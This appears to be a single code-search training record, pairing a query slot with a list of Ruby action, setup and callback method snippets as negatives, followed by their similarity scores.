{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def rto_params params.require(:training_organization).permit(:name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
NOTE: I know that brute forcing it is the wrong approach, but it was easy and I was up late and it worked, so... so, yeah.
def descramble(filename, result) final = '' until final == result temp = result.split('').shuffle.join final = scramble(filename, temp) end temp end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def brute_exploit(addrs)\n end", "def passbf(session,passlist,target,user,opt,logfile)\n\tprint_status(\"Running Brute force attack against #{user}\")\n\tprint_status(\"Successfull Username and Password pairs are being saved in #{logfile}\")\n \tresult = []\n\toutput = []\n\tpassfnd = 0\n \ta = []\n\ti = 0\n\tif opt == 1\n\t\tif not ::File.exists?(user)\n\t\t\traise \"Usernames List File does not exists!\"\n\t \telse\n\t \t\tuser = ::File.open(user, \"r\")\n\t \tend\n\tend\n\t# Go thru each user\n\tuser.each do |u|\n\t\t# Go thru each line in the password file\n\t\twhile passfnd < 1\n\t\t\t::File.open(passlist, \"r\").each_line do |line|\n\t\t \t\tbegin\n\t\t\t \t\tprint_status(\"Trying #{u.chomp} #{line.chomp}\")\n\n\t\t \t\t\t# Command for testing local login credentials\n\t\t\t \t\tr = session.sys.process.execute(\"cmd /c net use \\\\\\\\#{target} #{line.chomp} /u:#{u.chomp}\", nil, {'Hidden' => true, 'Channelized' => true})\n\t\t\t \t\twhile(d = r.channel.read)\n\t\t\t \t\t\t output << d\n\t\t\t \t\tend\n\t\t\t \t\tr.channel.close\n\t\t\t \t\tr.close\n\n\t\t\t\t \t# Checks if password is found\n\t\t\t \t\tresult = output.to_s.scan(/The\\scommand\\scompleted\\ssuccessfully/)\n\t\t\t \t\tif result.length == 1\n\t\t\t \t\t\tprint_status(\"\\tUser: #{u.chomp} pass: #{line.chomp} found\")\n\t\t\t \t\t\tfile_local_write(logfile,\"User: #{u.chomp} pass: #{line.chomp}\")\n\t\t\t \t\tr = session.sys.process.execute(\"cmd /c net use \\\\\\\\#{target} /delete\", nil, {'Hidden' => true, 'Channelized' => true})\n\t\t\t \t\twhile(d = r.channel.read)\n\t\t\t\t \t\t\t output << d\n\t\t\t\t \t\tend\n\t\t\t\t \t\toutput.clear\n\t\t\t\t \t\tr.channel.close\n\t\t\t \t\tr.close\n\t\t\t \t\tpassfnd = 1\n\t\t\t \t\tbreak\n\t\t\t \t\tend\n\t\t\t \trescue ::Exception => e\n\t\t \t\t\tprint_status(\"The following Error was encountered: #{e.class} #{e}\")\n\t\t \t\tend\n\n\t\t \tend\n\t\t \tpassfnd = 1\n\t\t end\n\t\tpassfnd = 0\n\tend\nend", "def collision_attack(bit_size, set_index = 0)\n # randomize the set of preimages to make each trial different\n digests = Array.new(SHUFFLED_RAND_STRINGS[set_index].size)\n found = false\n used_digests=0\n # for every new digest computed, compare it against the list of known digests to find a match\n SHUFFLED_RAND_STRINGS[set_index].each_with_index do |rstring1, index1|\n digests[index1] = create_digest(rstring1, bit_size)\n used_digests += 1\n # the '-1' prevents the digest from being compared with itself\n (index1-1).times.each do |index2|\n if digests[index1] == digests[index2] then\n found = true\n break\n end\n end\n break if found\n end\n raise \"no collision found\" if !found\n used_digests\nend", "def test_challenge_26\n idx = f1(\"\").\n bytes.\n zip(f1(\"A\").bytes).\n each_with_index do |(l, r), index|\n break index if l != r\n end\n\n p1 = \"XadminXtrue\"\n c1 = f1(p1)\n refute admin?(c1)\n\n ksb0 = p1[0].ord ^ c1[idx].ord\n ncb0 = ksb0 ^ \";\".ord\n c1[idx] = ncb0.chr\n\n ksb6 = p1[6].ord ^ c1[idx + 6].ord\n ncb6 = ksb6 ^ \"=\".ord\n c1[idx + 6] = ncb6.chr\n\n assert admin?(c1)\n end", "def challenge; end", "def brute_force_optimal(tg,faulty,replacements,n)\n if tg[1].size == 0 # special case if there are no edges(all replacements are equal)\n return get_mappings(faulty,replacements)[0] # return the first mapping\n end\n get_mappings(faulty,replacements).min_by do |a|\n euclidean_distance(tg,a,n) \n end\nend", "def get_hint(secret, guess)\r\n hash1 = Hash.new(0)\r\n hash2 = Hash.new(0)\r\n bulls = 0\r\n cows = 0\r\n \r\n secret.each_char.with_index do |char, idx| \r\n hash1[char] += 1\r\n bulls += 1 if secret[idx] == guess[idx]\r\n end\r\n \r\n guess.each_char {|char| hash2[char] += 1}\r\n hash1.keys.each {|key| cows += [hash1[key], hash2[key]].min}\r\n \r\n bulls.to_s + \"A\" + (cows-bulls).to_s + \"B\"\r\nend", "def unmd5(hash)\n # search one: lowercase search\n lower = \"a\"\n # search two: ascii brute force\n gen = all_ascii\n \n loop {\n break lower if md5(lower) == hash\n lower.next!\n \n cur = gen.next\n break cur if md5(cur) == hash\n }\nend", "def exploit\n # Is the selected target a brute force target?\n if (target.bruteforce?)\n # The step direction is automatically calculated\n direction = {}\n\n bf = target.bruteforce\n\n # Get the start and stop address hashes\n start = bf.start_addresses ? bf.start_addresses.dup : {}\n stop = bf.stop_addresses ? bf.stop_addresses.dup : {}\n step = bf.step_size\n delay = bf.delay\n\n # Enumerate each start address and try to figure out the direction\n start.each_pair { |name, addr|\n # If there's a stop address, figure out if it's above or below\n # the start address\n if (stop[name])\n if (stop[name] < addr)\n direction[name] = -1\n else\n direction[name] = 1\n end\n # If there's no stop address, infer the direction based on\n # the default\n else\n direction[name] = bf.default_direction\n end\n }\n\n # Import start/stop address overrides from the datastore\n import_from_datastore(start, 'Start')\n import_from_datastore(stop, 'Stop')\n\n # User-defined brute wait?\n if self.datastore['BruteWait'] and self.datastore['BruteWait'] > 0\n delay = self.datastore['BruteWait'].to_i\n end\n\n # User-defined brute step?\n if self.datastore['BruteStep'] and self.datastore['BruteStep'] > 0\n step = self.datastore['BruteStep'].to_i\n end\n\n # Sane defaults\n delay = 1 if delay.nil? or delay == 0\n\n # Okay, we've got all this crap out of the way, let's actually brute\n # force\n stopped = []\n curr = start.dup\n\n # Automatically determine the step size based off the nop sled length\n if step == 0\n step = payload.nop_sled_size\n\n if step == 0\n raise OptionValidateError.new(['BruteStep - The step size for this exploit is invalid'])\n end\n end\n\n # Keep going until we run out of options\n while (curr.length != stopped.length)\n\n # Stop brute forcing once a session is found\n break if session_created?\n\n # Fire off an exploit attempt with the supplied addresses\n brute_exploit(curr)\n\n # Give it time before we try again\n brute_wait(delay)\n\n # Scan each current key, increasing it or decreasing it by the\n # step size according to its direction\n curr.each_key { |k|\n\n # Has movement been stopped on this address? If so, skip it.\n next if (stopped.include?(k))\n\n # Calculate the next address before we move it to see if\n # we're going to go over\n next_addr = step * direction[k]\n\n # If this item has hit a stop address, add it to the stopped\n # hash and move it no further\n if (stop[k])\n if ((direction[k] == 1 and curr[k] + 